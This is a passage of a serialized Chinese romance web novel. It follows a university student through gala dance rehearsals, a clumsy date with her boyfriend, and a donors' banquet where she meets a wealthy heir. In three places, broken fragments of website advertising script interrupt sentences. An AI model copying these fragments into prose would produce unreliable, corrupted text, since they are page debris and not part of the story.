小霖找机会插话,说道:“肖哥,听说C大国庆前有个‘答谢之夜’,到时候你去不去啊?” 肖玄疏笑了下:“和我好像没关系吧。” 小霖正色道:“肯定有啊,你哥上半年资助C大修缮图书馆,听说即将开机的《凉城未晚》拍摄取景地就在C大。” 4. 那个夏天 《骤雨时分》文/薄荷小企鹅 2024/10/11晋江文学城首发 - 周二晚上七点,导员在学院的总群里发了个开会的通知,地点在六教最大的阶梯教室。 一般开全学院的大会都是重要的事情,导员把这学期最重头戏的国家奖学金评选规则说了,又公布了专业奖学金、国家励志奖学金和省奖学金、贫困生助学金的名额。 孙美黎和杨甜甜在旁边捂嘴乐,在寝室四人寝里@陈易。 【梨子好美(孙美黎):国奖有五个名额呢,按照往年肯定会给咱们商英一个。小易你绩点这么高,到时候拿奖了请我们喝奶茶哦!】 【陈皮好甜(陈易):[星星眼]国奖看起来要求很高,不知道有没有机会拿。】 【梨子好美(孙美黎):你大一大二的时候不是专业绩点第一嘛,这样的话肯定可以吧[挠头]】 【陈皮好甜(陈易):但是大二下学期我绩点不是第一,能不能评上,过阵子就知道了,现在也不好说。】 【梨子好美(孙美黎):[玫瑰][玫瑰][玫瑰]。】 导员在讲完了奖学金的事情,又公布了国庆前“答谢之夜”校级联欢晚会。按照往年的惯例,各个学院都会在“答谢之夜”出节目。“答谢之夜”是国庆节的前一天九月三十号的那天晚上七点,正常九月三十号就放假了,学生都会在三十号白天离校回家。 外国语学院也会出一个节目,所以今天顺便征集一下要参与节目的同学,具体的细则让文艺部长刘露珈上台解说。 “大家晚上好,这次我们还是和之前一样出舞蹈节目。”文艺部长刘露珈这么考虑也是有原因的,校级联欢晚会节目音乐学院不参与评比,整个C大就外国语学院的女生最多,每次外国语学院的舞蹈表演都能拿第一第二的好名次。 “今年预计出一个军艺舞蹈节目,大概要5组共十个人,”刘露珈说话的时候扫视着台下,大家都低着头生怕选到自己,“女生要求身高166,男生要175以上,要肢体协调性好、合作能力强的。” 往年的节目跳舞类都是文艺部的女生部员跳,毕竟文艺部都是人美腿长的美女。但今年很明显还想征集几位会跳舞的男生,想搞点和其他学院不一样的。 “是不是看去年校园运动会的体育学院男生表演舞蹈,今年也想让男生跳舞?”室友杨甜甜跟陈易小声说,“话说小易,你还没退出文艺部吧,你还要不要参加啊?” 陈易去年就留校参与表演,虽然参加表演会给报销国庆回家的车费,但是国庆当天坐过车太拥堵了,而且还要比别人晚放假一天。 “不太想去。”陈易实话实说。 事实上容不得陈易做选择,大会刚散场大家像是一窝蜂拥堵在出口,陈易和几个室友开会时候坐得位置靠后,所以堵在后面着急也没用,路过讲台的时候,陈易往讲台那边看了一眼,还在讲台上站着的文艺部部长刘露珈刚好看到了即将离开的陈易。 刘露珈举手熟练地和陈易打了个手势,示意她过去一下。 孙美黎之前是学生会商务部的副部长,但是大二下学期的时候就退了。她不喜欢学生会那几个所谓“干部”的作风,一个个看着人模狗样的,实际上是拿根鸡/毛当令箭的嘴脸。 “陈易,你要不想去表演就拒绝,大不了就退出学生会呗,反正距离自动退会也不到一年了,”孙美黎也看到了讲台上的刘露珈,拍了拍陈易的肩膀,“我们在外面等你。” 刘露珈一头好看精致的梨花烫,轻轻倚在讲台边缘,复古风的小洋裙展露出修长的腿,精致得像电视里走出来的。 “陈易,你明天晚上有空吗?你看挑个什么时间排练比较好?” 刘露珈开门见山,让陈易有些猝不及防。 陈易看着讲台过于明亮的光线下的刘露珈,像是快要闪闪发光一样。陈易垂眸,轻声说道:“我这次不太想参加,而且这周末有点事情,没办法跟着排练。” 刘露珈的笑意顿了一下,白皙好看的手不经意地摆弄着头发,开玩笑似的说道:“不会是跟张志漫约会吧?对了,我还想问你呢,你是打算考研还是毕业了就工作啊?按照咱们专业的就业前景,现在是该有个规划了。”刘露珈见陈易态度冷淡,转移话题试图先聊感情。 陈易只回应了后半句:“还不知道,年前再看吧。你呢?” 刘露珈视线落在陈易身后的窗户上,这间阶梯教室的窗户一直像擦不干净一样,有些灰蒙蒙的。 “我打算考C大经济学院的研究生了,学了两年了发觉外语只是个工具。尤其咱们这专业,到时候工作了无论医药还是工厂的翻译,那些专业的东西还是得现学。”刘露珈视线重新回到陈易的脸上,陈易平时淡妆,即便是这样也能看出她优越的骨相,有着如同游戏建模的精致,“真羡慕你长得这么漂亮还有个优秀的男朋友,他拿那些比赛的奖金早都赚回学费了吧?” 刘露珈说这话的时候其实一点都不羡慕陈易,大一的时候追陈易的人很多,张志漫算是其中之一。陈易这届包括上下两届,谁不知道张志漫?C大的风云人物,大学期间各种奖学金和比赛证书拿到手软,图书馆侧门的通知栏经常能看到他的获奖喜报。 上帝给了张志漫逆天的学习能力的同时,关上了他另一扇窗。如果抛开学识和成绩,张志漫无论从外貌还是气质方面,都得孤寡一辈子。人不算很高又瘦瘦的,日常蓝色衬衫搭配宽松的牛仔裤,走路微微探肩还愿意穿AJ鞋子体现自己的洋气,脸上那副厚重的黑框眼镜看上去就很呆板。 当初听说两个人在一起了,刘露珈还挺惊讶的。本以为陈易这样的美女最后会和一位英俊又优秀的男人在一起,至少也得是能带出门的那种,结果却被张志漫这样的男人追到手。不过也就那个时候,她觉得自己赢了陈易一次。 陈易没接刘露珈的话,刘露珈自顾自地说:“咱们文艺部的情况你也知道,大部分人都是来了走、走了又来,从大一待到现在还这么稳定的,也就咱俩。” 陈易不想听她叙旧,直截了当道:“国庆当天不好坐车,我想早一天回家。” 刘露珈沉默了下,过了会儿继续说:“那倒也是……可是王老师说这次来得嘉宾多,比去年还要正式。这次表演如果拿名次了,学校和学校都会给奖励,你说到时候还不是咱们几个分?” 去年表演只给报销了二百的车费和给了三百块的辛苦费,今年的国庆活动从活动经费里给奖金,排场比去年大很多。 “我想着咱们很多同学都是外地的,像你是B市的,高铁商务票和打车之类的,怎么也要八百块吧?我和王老师申请,回去之前就先把这八百给大家报销了。”刘露珈没查过B市的高铁票,但她猜不会超过五百块。 虽然陈易从来没买过商务票,但她明白刘露珈的言外之意。与其自己回家花钱买车票,不如多待一天还能赚到钱。 周三白天,刘露珈把舞蹈节目报上去了,节目名字叫《点点星烁》。刘露珈在网上找了几个舞蹈视频,和陈易一起改编了一下,刘露珈负责带男生练,陈易负责带女生练。舞蹈节目分为三个部分,先是女生开场民族风的抒情舞蹈,中间是表现军旅长途跋涉的部分由男生跳,最后男女合舞展现盛世华夏。 刘露珈说学院挺重视这次的晚会演出,因为这次表演,学校暑假又重新装修了音乐厅,增加了很多灯光舞台效果。主要是这次晚会也相当于答谢晚会,到时候会邀请赞助过C大的社会集团代表出席。 - 陈易最近没空和张志漫出来约会,一方面是她舞蹈排练很忙,二来她在赶英国文学课的小论文,三十号之前必须上交。 周四下午陈易没课,这周是双周没有大学语文。张志漫给她发了个微信消息,让她来校门口一下。 陈易以为张志漫和之前一样给她点了外卖,陈易担心外卖放在校门口被偷走,穿着休闲舒适的吊带裙披了外搭就匆忙出去。等到了校门口的时候,陈易没看见写着自己名字的外卖,正要拿手机给张志漫打电话,对方冷不丁地从校门口巷子的拐角里窜出来。 陈易吓了一跳,张志漫穿着蓝色的短袖T恤和卡其色短裤,和平时里古板的穿搭完全不同。张志漫来之前还特意剪了个头发,相比之前凌乱的发型,一时间竟多了几分清爽的少年感。 张志漫手里拿着一束花,花束外部包裹带着透明的包装纸。这束花并没有多大,看起来像是校外美食街上卖的9块9一束的手捧花,之前孙美黎为了怕视频的时候买过一次,还说拍照效果很好。 “呐,给你的。”张志漫和上次完全不同,或许是回去吐槽被室友好好开导了一番,他现在发觉到上次的行为对女生来说太过冒失,于是找了空闲时间想要弥补一下。 陈易从上次那件事情后不太想理他,虽然两个人也没发什么消息但并不是冷暴力。张志漫每天要写研究报告要画图纸,陈易则每天浸透在学院各种琐碎的小事中。 “我查了一下你的课表,今天下午你没有大学语文,刚好可以见个面。”张志漫把手捧花塞到陈易的手里,目光落在陈易身上那条红色吊带开叉吊带裙上,这是她很少在他面前穿的风格。 虽然外面披了淡黄色的雪纺半透明开衫,但相比平时素净单调的碎花裙,更具有几分熟女的温柔迷人气质。 旁边几位来往的同学像是吃瓜一样带着好奇的眼神看着他们,似乎在等待围观接下来的表白仪式,陈易被看得有些不好意思,心跳急促拉着张志漫的手往校外人多的美食街走。 “谢谢你的花,我很喜欢百合。”陈易深吸一口气闻了一下花束里的香水百合,浓烈的香味像是夏夜里绽放的烟花。她垂眸眼神从容温柔,笑着捧着那束简单的手捧花,盛夏的阳光洒落在她的身上,像是为她镀了一层淡淡的金色。 眼前人比花娇,长发的发丝随着微风的拂动像是花瓣落在了心头一样,让人心里痒痒。张志漫突然觉得自己运气很好,能在陈易的追求者中胜出,心里竟有些沾沾自 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 喜。 眼前美景秀色可餐,张志漫试图去牵陈易的手,不由自主道:“鲜花配美人。” 两个人手牵手走在美食街上,小摊位传来的铁板鱿鱼、蒜蓉生蚝、烤冷面的油腥味掺杂在一起,张志漫觉得这里不适合约会,提议去其他地方逛逛。 张志漫手机团购了一家叫“合心DIY艺术馆”的店,从团购APP的宣传版面来看,里面有捏陶艺、给石膏娃娃涂色、手工扎染T恤、做奶油胶挂件等收费项目。 用户的评论也很多,返图很多都是情侣纪念日来做个小摆件,店里环境不错,拍照很适合发朋友圈。团购项目有很多,卖的最好的是“亲子项目三选一199”“情侣项目任选219”,张志漫买了个情侣219元的套餐。 上次回去跟室友复盘失败经历,张志漫被室友一顿冷嘲热讽。 “你带对象约会就吃快餐?一小时的钟点房你怎么想出来的?你那些比赛的奖金是要攒着养老吗?” “你女朋友居然能忍住不骂你?那种环境的旅馆我就算一个人也不会去啊!” 张志漫一个平时抠门的人,今天总算大方了一回。打车半个多小时终于到了“合心DIY艺术馆”,整个门店有四层,韩式装修的风格,靠窗的位置有适合约会拍照的吊顶秋千。 “老板在吗?我要核销一下团购的券。”张志漫想验团购券,但是前台没人,他站在前台大声说了一下。 前台兼职陶艺老师,刚才在教小朋友做陶艺,闻声马上擦手过来。 “二位想做什么作品呀?我们店比较火的有奶油胶、石膏娃娃上色,要是想挑战有点难度的就是陶艺,不过选择陶艺的话限时100分钟。” 陶艺老师展示了身后的奶油胶艺术墙,从女生的小发卡、公交卡套到小镜子和桌面摆件应有尽有,清一色的马卡龙配色。张志漫皱眉,这种东西果然是小孩和女生玩的,他没有一丁点好感。 陈易想试一下陶艺,但张志漫觉得二百多才一百分钟不划算。 “那这边的石膏娃娃怎么样?”陶艺老师拉开遮挡灰尘的透明帘子,都是之前客人完成留下来展示的作品,“新款有库洛米和暴力熊,还有草莓熊。” 张志漫心想这玩意儿不就是小时候公园玩的吗?搬到店里就敢漫要天价。不过张志漫转念一想,今天约会是为了增进两个然的感情,这么想的话,价格还算是可以接受。 “这个也行,画完是不是可以带走做纪念?”他得给陈易留个念想,让陈易看见这个石膏娃娃能想起来他。 “当然,这些只是展示品。”陶艺老师让他们挑了两个石膏娃娃,“这边上四楼,二位先上去选个位置,我等下给把颜料那些送过去。” 四楼人的人相比一楼多一些,且需要穿鞋套进入。这里的环境和公园大不相同,实木地板擦得干干净净,没有让人反感的浓烈丙烯颜料味道,空气中是淡淡的糖果味。 几张精致的小桌子配着彩色的塑料小板凳,不仅是为了小孩子准备,也考虑到有情侣会来,所以在右侧有几套正常高度的桌椅。四楼最中间又一张最大的圆桌算是休息区,周围摆了一圈靠背椅。圆桌中间有温水壶和一次性纸杯,还有一些精致好看的网红糖果。 “这些凳子也太矮了吧,坐着不舒服。”张志漫看了一圈,四楼没几个人不算吵,小孩子基本都在安静涂画,但在这里坐上一个小时,恐怕也会腰酸腿疼。 “那我们坐这边?”陈易挑了一张正常高度的桌子,把椅子搬过去。 张志漫还是不想去,“来这里就好了。”他一上来就看见这个大圆桌了,能容纳8个人的位置,而且这里正对着窗户光线好。 “可是那边有人了。”陈易不太想和别人共用一张桌子,更何况那是留给客人休息闲聊的位置。 张志漫没答,径直走过去,找了空位一屁股坐下。拍了拍旁边的椅子,完全无视圆桌还有其他客人:“陈易,过来坐。” 陶艺小姐此时端着一盘画笔颜料等用具上来,将石膏娃娃放到两人面前的托盘里,随后就转身走了。 “你会不会画?就是小时候公园经常看见的那种石膏娃娃。”张志漫拿起其中一个石膏娃娃,放在手里掂量。 原本安静的氛围瞬间被打破,林想不悦地看向坐在不远的二人,在这两人进来之前四楼一直都很安静,大家说话都低声窃窃私语,两个人进来之后尤其是那个男的,旁若无人的音量仿佛把这里当成了自己家。 林舒欣沉浸在给库洛米画衣服的世界中,用画笔一下一下认真地把空白的石膏娃娃涂上颜色,看起来专注极了。坐在一旁的肖玄疏也注意到了两人,尤其是女人穿的红裙子格外显眼,上次公园的情景像是点了加速进度条的电影在脑海中闪过。 “我肯定会呀,小时候谁没玩过这个。”陈易笑着说。 肖玄疏不动声色地看着她,她似乎已经没有了上次孤身一人被甩在公园时候的难过无措,此刻拿着画笔笑靥如花,和身边的男人依偎着看似很甜蜜。 5. 夏夜的你 《骤雨时分》文/薄荷小企鹅 2024/10/12晋江文学城首发 - 陈易从拿到石膏娃娃的时候,就在构思要从哪里动笔了。 “这个颜料看起来很高级,”张志漫用画笔沾满黑色的颜料,随手涂在陈易手里的石膏娃娃上,“画这个石膏,就跟给墙上油漆似的。” 陈易上一秒还明媚的笑容忽然僵在脸上,眼睛看着石膏娃娃手上那抹黑色颜料,眼里说不出的失望落寞。张志漫见陈易一动不动的可能是生气了,试图缓和气氛:“库洛米不就是黑色的吗?我帮你试一下画笔而已。” 见陈易还是不说话,张志漫不想破坏才营造好的氛围,于是将自己手里的那个奥特曼石膏娃娃放到陈易面前。 “你要是不喜欢的话,拿我的和你换也行。” “不用了,”陈易深吸了一口气,她本来想给库洛米设计一个新色系的造型,“我试试用白色的颜料盖上吧。” 张志漫见陈易好像不生气了,总算松了口气。他回忆起小时候动画片里奥特曼的造型颜色,然后像涂油漆一样快速给石膏娃娃上色,奈何最粗的画笔也跟筷子似的,胡乱地涂了一番耐心彻底消耗完。 陈易要比张志漫细心很多,网上找了几款库洛米的造型,再在纸上设计库洛米的色调和风格。等陈易想要怎么动笔画的时候,张志漫已经涂得七七八八了。张志漫看陈易动作不紧不慢的,本想给她“指点”一下,怕等下她又不高兴,索性还是不说话讨人嫌了。 才过了半小时,四楼有两桌客人离开,陆陆续续进来几位新客人。张志漫觉得楼上不透气,有点坐不住了:“我去楼下买瓶水喝。” 今日的天气还算不错,四点多正是微风凉爽的时候,店附近来往的人也多了一些。 张志漫从超市买了瓶农夫绿茶,走到DIY店门口想着一会儿再上去,站在店门口仰头喝了半瓶,胳膊夹着绿茶的瓶子,双手插兜眯着眼享受着轻拂而来的舒适夏风。 “啪”地一声打火机清脆的声音从身侧传来,张志漫的美好心情瞬间被中断,他扭头神色不悦地看向声音来源,对方穿着西服套装,手臂上搭着一件西装外套,合身的衬衫上扣子系到最上面的一颗,紫金条纹的领带低调而贵气。男人随意地倚靠在店门前的路灯旁,熨烫得平坦光滑的黑色西装长裤包裹着男人修长的腿,脚上一双布洛克雕花的皮鞋擦得一尘不染。 张志漫看着男人指尖燃起的香烟,一缕缕淡白的烟雾随着柔和的风飘散,眼前的景色像是都虚化了。 “这天气你穿这么多,不热啊?”张志漫语气充满诧异,注意到对方手里的那支烟,香烟燃烧后的烟雾徐徐上升,却不见他吸一口。 肖玄疏也才从里面出来不久,闻声,他转过头来看向突如其来的搭讪人,好看的桃花眼似是含笑。 “还好。”他打开烟盒,从里面拿出一支给张志漫。 两个人距离不算太远,张志漫犹豫一下本着礼貌想去接,走过去才发现自己和对方身形差距甚大,尤其是近距离时对方强烈的压迫感让他有些不自在。 张志漫瞥了一眼那烟盒,却没伸手接:“谢谢,我戒烟有几年了。”男人手腕上露出的那块百达翡丽腕表吸引了张志漫的注意力,但看清后他心里不由得暗暗嗤笑。虽然九重天在烟里已经算好的,但是能买得起百达翡丽的人怎么会抽九重天?而且要真是家缠万贯的大老板哪里有空在街上闲逛,怕是学会分身术都不够用。 张志漫悠闲地从裤兜里掏出农夫绿茶喝一口,闲来无事,问身侧的男人:“你觉得这家店怎么样?” “还行。”肖玄疏嘴里的还行,只不过觉得这环境和价格匹配,无聊时的消遣罢了。 “一个人来的?”张志漫语气猎奇,他想知道来这家店消费的都是什么大冤种。 “和朋友来的,”肖玄疏看了眼腕表,司机还有两分钟就到了,桃花眼微微眯起打量着张志漫,“你呢?” 肖玄疏心里不是没有答案,从看见陈易的那一刻起,他心中的答案就非常明确。 “和女朋友来的啊。”张志漫语气洋洋得意,恨不得把自己的系花女友现在就叫下来炫耀一番。 对方没说话,只是含笑的眼神这么看着他,这让张志漫觉得很不舒服。自从刚才问了那句话开始,对方不像是正常陌生人之间的打量。灼/热的视线就让他感觉到无形的压抑,当张志漫皱着眉试图正视对方眼睛的时候,又说不出感觉哪里不对劲。 “祝你们玩得愉快。” 话音刚落,一辆连号的黑色库里南停在店门前,林想牵着手舞足蹈的林舒欣从店里正好出来,小女孩手里拎着一个像蛋糕包装,透明的包装里面有四个石膏娃娃。一行三人上了车,在车子启动前,肖玄疏刻意将车窗降下来看着车外的张志漫,薄唇勾起淡淡的笑意,眼眸带着疏远深意。 张志漫的手捏了捏农夫绿茶的塑料瓶,明明觉得对方有挑衅的意味,可他嘴里一句话也说不出。 - 国庆前一天早上六点多,校门口的出租车排成了长队,零零散散的学生拖着行李箱往校门口走。孙美黎她们是上午九点的高铁,七点多就起来收拾行李准备出发。 “小易,我们走了啊,你一个人明天走也要注意安全!”孙美黎、杨甜甜、李眉三人收拾好行李,和陈易告别。 陈易还在床上躺着,起身和三人挥手:“好的,你们路上注意安全。” 上午八点半的时候,文艺部长刘露珈在群里发了消息@全体成员。 【露珈不是露咖(刘露珈):大家八点五十在3教的阶梯教室集合,中午晚上都有免费的餐票,记得提前来我这领取@全体成员】 十多个同学包括后勤的两名替补志愿者,大家都早早地就来到阶梯教室排练。上午排练了两遍,大家坐在阶梯教室玩手机,中途副院长还进来表扬他们,愿意牺牲一天假期时间为外国语学院争光添彩。 中餐和晚餐都有食堂发放的免费餐票,虽然“答谢之夜”校级联欢晚会是晚上七点正式开场,但是要求表演组五点半之前集合完毕,所以大家四点多就在食堂匆匆用餐,吃了没几口就赶去集合了。 到了音乐厅的后台,每个节目都有几张桌子的位置化妆。 “这个妆也太夸张了吧,”刘露珈第一个上妆,对自己的妆容不太满意,“内眼角都快开到鼻子了,眼影颜色也很奇怪。” 化妆师忙着给其他人化妆:“这么大的舞台不夸张点怎么看到你的眼睛?你看其他人也这样的。” 刘露珈见化妆师不愿意给自己改妆容,还 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好自己带了粉底和眼线笔,在旁边稍微改动了一下。 旁边几个学弟学妹在闲聊,看见陈易上完妆喊她过来自拍合影。 “学姐,你今天晚上回家还是明天走?”俄语系的学妹问她。 旁边几个其他专业的女生小声议论:“听说十点左右就结束了,收拾一下十点半就可以走了。” 陈易家在B市,晚上十点多走也要下半夜才能到家,情况不太方便。 “我晚上回去收拾一下东西,明天的高铁票。”陈易说。 五点半的时候学生会的刘会长过来清点人数,确保没有人特殊情况缺席未到。陈易和几个志愿者帮忙收拾后台的东西,刘露珈站在旁边和学妹说话,余光看到陈易忙碌的样子,说:“那些让志愿者做就好了,我们一会儿还要上台呢,现在还是先好好休息一下吧。” 开场之前有各位校领导致辞,公布本次应邀参加的嘉宾,大部分都是各企业总经理以上的代表出席参加。《点点星烁》是舞蹈类节目最后一个上场,按照前两年外国语学院的舞蹈名次不是第一就是第二,所以这次也被定在压轴的位置。前面有音乐剧、相声和唱歌,舞蹈类节目排在最后。 表演结束后还有“答谢之夜”的感谢词和颁奖,不过颁奖只需要每个节目的一位代表,所以每个节目表演之后,参与表演的大部分学生都从后台离场。 陈易在后台候场,没机会看到其他节目,等《点点星烁》表演的时候,她才看见台下并未满席,前两排有校级领导和集团代表,中间有各学院的导员老师还有部分学生,后排的座位有为数不多的志愿者填充,这样全场看起来才没那么空。 说白了这种联欢晚会就是为了感谢为C大捐赠多媒体教学楼和设立优生奖学金的集团,今年年初的时候C大还接受了一个修缮旧图书馆的千万捐赠款。只不过旧图书馆的修缮工作到了现在还没开工,不知还要拖到什么时候。 到了颁奖典礼的时候,校领导为本次参与节目表演的学院颁奖。一等奖体育学院的武术《振兴中华》,外国语学院的《点点星烁》获得了第二名,文学院的音乐剧《今雨迭夕》三等奖。刘露珈作为外国语学院的表演代表上台领奖,还和颁奖的集团嘉宾合影留念。 陈易在后台帮志愿者把外国语学院的东西收拾好,明天刘露珈会负责把服装还回去,后台除了几个等待领奖的节目代表和志愿者留下收拾东西,大家都已经连夜回家等着过十一小长假了。她卸妆更衣后,给刘露珈发了条消息。 【陈皮好甜(陈易):露珈,我和小丽把后台外国语这边收拾干净了,我回宿舍收拾东西了。】 刘露珈在颁奖结束后,回到后台卸妆,拿出手机看见了陈易发来的消息。 【露珈不是露咖(刘露珈):好,明天坐车注意安全。】 陈易刚到宿舍,给张志漫打视频电话他没接,不知道是不是在忙。国庆小长假如何度过她已经安排好了,前两天把口语作业和小论文交了,剩下几天早就和家人约好自驾游去岩清湖休闲一下。 陈易在宿舍洗了个澡,正在吹头发的时候,刘露珈给她打来手机电话。 “陈易,我跟王老师在晚樱酒楼这边和几个集团代表吃饭呢,学院给集团代表准备的纪念品忘在音乐厅了,你现在能帮忙送过来吗?” 6. 缘分吗 《骤雨时分》文/薄荷小企鹅 2024/10/13晋江文学城首发 - 陈易还没来得及拒绝,刘露珈身边的王老师说:“把电话给我,我来和她讲。” 王老师接过电话,对陈易说:“陈易啊,那个纪念品在音乐厅颁奖的那个桌子里面,一个纸袋子里有十多个信封,你拿过来的时候小心点别弄掉了啊。” 王老师的话根本没有给她拒绝的余地,嘱咐了几句路上注意安全,就把电话给挂了。 陈易匆匆换了条缎面吊带裙,外面穿了条浅色的半透明纱质外搭上衣,因为才洗完澡头发吹得半干,发梢还有些湿,所以她散开长发等待夜风自然吹干。 这么晚了学校大部分的学生都放假回家了,陈易这时候出宿舍楼看见宿舍楼大部分寝室的灯是熄灭的。她赶到音乐厅,门口巡逻的保安刚好要锁门,陈易说帮老师拿东西这才让她进去。 晚樱酒楼在学校后街五百米的位置,一家看着很高档实则价格亲民的饭店,之前大一的时候班长还组织全班请专业课的老师吃饭。陈易到了门口给刘露珈打电话没人接,于是给王老师打电话。 “陈易你到了是吧?我们在608包房,你拿上来吧。” 陈易在服务员的指引下进了608包房,她轻轻推开门,屋内的环境可以用乌烟瘴气来形容,尽管开着窗户但屋里就像有层烟雾似的,陈易一开门就被屋里的味道呛到了。导员王老师坐在几个集团代表的中间,似乎跟这桌的人都很熟络,手里拿着酒杯谈笑风生。 酒桌的空位三四个,陈易悄悄走进来也没人注意到,她到王老师身后,轻声说道:“王老师,纪念品我拿过来了。” 王老师手里夹着烟,和平时严肃不近人情的样子完全不同,语气相对温和客套一些:“你辛苦了啊,下次量化给你多加点分。” 陈易垂眸小跑出了包厢,迎面撞见鬼鬼祟祟上楼的刘露珈。刘露珈瞥见这层的服务员去端菜,赶紧把手里的布袋子塞到陈易手里。 “你把这个拿过去,还有两袋,我再去拿。”刘露珈和陈易小声说。 手里的布袋子很重,她问:“这是什么东西?” 刘露珈“嘘”了一声,“王老师让我从他车里拿来的好酒,这儿不让自带酒水,你小心点别让人发现了。” 陈易愣了下,刘露珈急匆匆地转身下楼去拿剩下的。 陈易到包厢门口的时候,一身酒气的王老师正从包厢出来要往卫生间走,王老师看了一眼她手里的东西,没问刘露珈的去向,嘴里有些吐字不清。 “陈易,你放桌子上就好了。” 陈易应了句“好”,再次推开了包厢的门。 陈易把两瓶白酒从布袋子里拿出来放到餐桌的转盘上,把酒的纸壳包装打开。黄色的陶瓷大肚瓶上雕印着龙凤的图案,精致的瓶身上有两个写法复杂的草书汉字。 “这就是王老师拿来的酒?这不是餮年嘛,确实是好酒!”陈易刚放到餐桌的转盘上,一个中年男人拿起酒瓶看了看,“小姑娘,麻烦你帮忙开一下。” 陈易开酒的间隙,看见餐桌上的菜都一点没动,几乎每道菜下面都有用蜡烛加热的装置,只有两盘下酒菜花生米和卤毛豆吃得差不多了。 “肖总来了!” “肖总,大家都等你呢!” 陈易刚放下酒,看见大部分的人都从座位上站起来,嘴里说着客套的话,陈易打算悄悄溜走,有个男声叫她:“服务员,你去再拿两个酒杯来,我敬肖总一杯。” 陈易本想反驳,看见身后的柜子上有放置的空酒杯,于是顺手帮忙拿了过来。此地不宜久留,陈易趁乱中溜走。 王老师还没回来,陈易下楼的时候刘露珈刚好又拿了一个布袋子过来,交到陈易手里:“还有最后一个,你先拿着,我再去取。” 酒楼附近没有停车位,王老师的车停得有点远,刘露珈一个人拿来也有些吃力,这酒楼太小没有电梯,刘露珈拿着重物上楼也累的呼哧带喘。 陈易硬着头皮又来送酒,这时候包厢内的门窗都开着,现在没人抽烟,刚才呛人的烟味也散了不少。王老师正好从洗手间回来,一进门就有人说他离席太久要罚酒,王老师见主位的肖玄疏到了,于是拿起桌上白酒倒了一杯。 “罚酒不急先缓缓,我得先敬肖总一杯。” 王老师的位子距离主位隔一个位子,旁边的那位也是经常给外国语学院赞助的集团,和王老师走得比较近,那人打趣道:“王老师,肖总才刚坐下,你就这么着急啊。” 陈易把白酒放到桌子上,旁边有个男人又使唤她:“服务员,你去拿两瓶红酒来,肖总不喝白的。” 陈易第二次被叫做服务员,心里有点不舒服,但是这么大的场合又不能明摆着揭穿人家,于是叫了楼下的服务员拿来红酒。 王老师看出陈易的情绪,淡定地拍了拍她的肩膀,低声吩咐她帮忙去柜子那里找一下醒酒器。 “肖总,您回来C市多久了,我们都没听说消息呢。”有人和肖玄疏寒暄,大家本以为今天这样的场合肖家不见得会有人出席,没想到来的是隐匿三年的肖玄疏。 不过也是了,肖家二公子事务繁忙,肯定要找个游手好闲的人来。 “回来有一阵子了,”肖玄疏坐在主位上,他说话的时候一桌人都暂且搁置手头事情转头认真听着,毕竟肖玄疏的出现也代表了肖家接下来的动向,“刚才在家里吃团圆饭,所以晚了点。” 他这话一出,餐桌的人都马上会意,嘴上说着“不要紧”“不碍事”,心里都惦记着肖玄疏吃的这顿饭意味着什么。酒桌的人没人不认识肖玄疏,被传是肖氏金融最有天赋的小儿子,当初不满家族联姻跑到国外隐身了三年,此次突然回归,肖氏金融肯定也有大动作,无论碍于肖家的势力还是他本身的存在,都让人畏惧三分。 陈易在一旁醒酒,余光看着酒桌上的人,这里的气氛似乎没有刚才那么放松,自从有人要给肖玄疏点烟被拒之后,也没人再抽烟。 刘露珈拿了最后两瓶白酒过来,然后坐在王老师身边的位置上。王老师给酒桌上的人介绍,似乎完全忽略了陈易的存在。 “这是张校的外孙女,张校今晚市里临时有个会抽不开身,”王老师介绍着刘露珈,而刘露珈也很适应这种场合,淡定自若地笑着和大家问好,“张校特意嘱咐我给大家拿了几瓶好酒,大家今晚畅快享用啊!” 陈易第一次知道刘露珈是张副校长的外孙女,之前只听别人说过她的舅舅是文学院的书记,原来关系这么大。 陈易看时间差不多了,把醒好的酒拿过去。她刚才看过了,大家杯子里都是白酒,刘露珈的杯子里是橙汁,只有主位那个男人的高脚杯里还没倒酒。 “陈易,帮忙倒一下酒。”王老师伸手示意她给主位的男人倒酒。 “您好。”陈易走到主位的男人身边,手快速拿起那支高脚杯,将醒酒器里的红酒缓慢倒进去。 陈易离男人很近,敏锐的嗅觉让她闻到熟悉的相思木古龙水味道,她余光偷偷看了男人一眼,清绝的侧脸慵懒的气质,果然是那晚开车送她回来的人。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他今天怎么会出现在这里?是巧合吗?陈易不敢多想,稳住心神盯着面前高脚杯里的酒液。男人唇边似有轻松笑意,余光瞥了陈易一眼,静静地看她倒酒的动作。 陈易看差不多了匆匆收手,一不小心碰到了男人放在桌面的手机,她伸手去扶了一下,歉意地看了男人一眼。 “不好意思。”她的心脏吓得砰砰直跳,还好这手机没有掉在地上,不然真是丢人丢到家了。 肖玄疏只“嗯”了一声,深邃的桃花眼带着几分玩味的兴致,修长的身形甚至动都没动一下,稳如泰山。陈易不知道对方是否认出了自己,只觉得如芒在背恨不得马上遁地逃跑。 见对方没和自己计较,陈易像个兔子匆匆离开包厢,刘露珈从里面追出来,语气和之前稍有不同,轻声问:“陈易,你晚上吃饭了吗?要不要一起吃?” 里面除了王老师都是集团代表,就连刘露珈也是有着“校长外孙女”的头衔,她一个普通人凭什么有资格和大老板们坐在一起吃饭呢?陈易想了想,摇头拒绝。 “我要回去收拾行李,明天还得早起赶高铁。” 陈易回到宿舍已经是十一点多,还好今天宿管阿姨还没睡,本来都门禁了但还是给陈易开门。陈易躺在给张志漫打了个电话,不知道是不是因为太晚了,张志漫没接电话。 在陈易离开包厢后,有集团代表给肖玄疏敬酒,他也只是象征似的接下,红酒浅尝辄止,四五个人敬酒后,他杯子里的红酒看着一点都没少。 这种酒楼里劣质的红酒肯定是入不了肖总的眼,王老师想着自己不了解人家喜好,这才闹出个大笑话,后面几个熟人都借口尿遁,不知道是不是又叫人去拿其他红酒。 新来的一个年轻人叫小霖,奋勇上前给肖玄疏敬酒:“肖哥,我是上周您见过面的小霖,本来还以为您今晚不会过来,没想到还能一起吃饭太有缘分了。” 旁边有人议论起小霖,高晟家一直做的都是园林建筑类,今年听说是给C大捐了五千棵绿化树苗帮助改善C大后山的环境。 肖玄疏这次的态度中规中矩,毕竟今天人多眼杂,他接了酒象征性喝一口。 